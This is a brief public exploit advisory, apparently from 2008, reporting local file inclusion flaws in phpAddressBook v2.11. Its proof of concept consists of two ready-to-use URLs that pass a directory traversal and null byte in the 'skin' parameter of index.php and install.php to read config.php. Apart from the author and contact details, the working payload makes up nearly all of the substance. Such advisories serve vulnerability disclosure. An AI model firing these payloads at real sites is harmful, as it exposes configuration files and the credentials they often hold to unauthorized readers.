|
_____ ____ _____=0D
/ _ \ /\ /\ / _ \ / _ \=0D
| | | | \ \/ / ||_| | | | | |=0D
| | | | \ / \_ | | | | |=0D
| |_| | / \ __\ | | |_| |=0D
\_____/ / /\ \ |____/ \_____/=0D
\/ \/=0D
=0D
=0D
[~] phpAddressBook v2.11 Multiple Local File Inclusion Vulnerabilities=0D
=0D
[~] Download: http://downloads.coronamatrix.org/phpAddressBookv2.11.zip=0D
=0D
[~] Founder: 0x90=0D
=0D
[~] HomePage: www.0x90.com.ar=0D
=0D
[~] Public: http://0x90.com.ar/Advisory/20080321.txt=0D
=0D
[~] Contact: Guns[at]0x90[dot]com[dot]ar=0D
=0D
[~] PoC:=0D
=0D
http://[host]/[path]/index.php?skin=/../config.php %00=0D
http://[host]/[path]/install.php?skin=/../config.php %00=0D
=0D
=0D
Greetz: ...=0D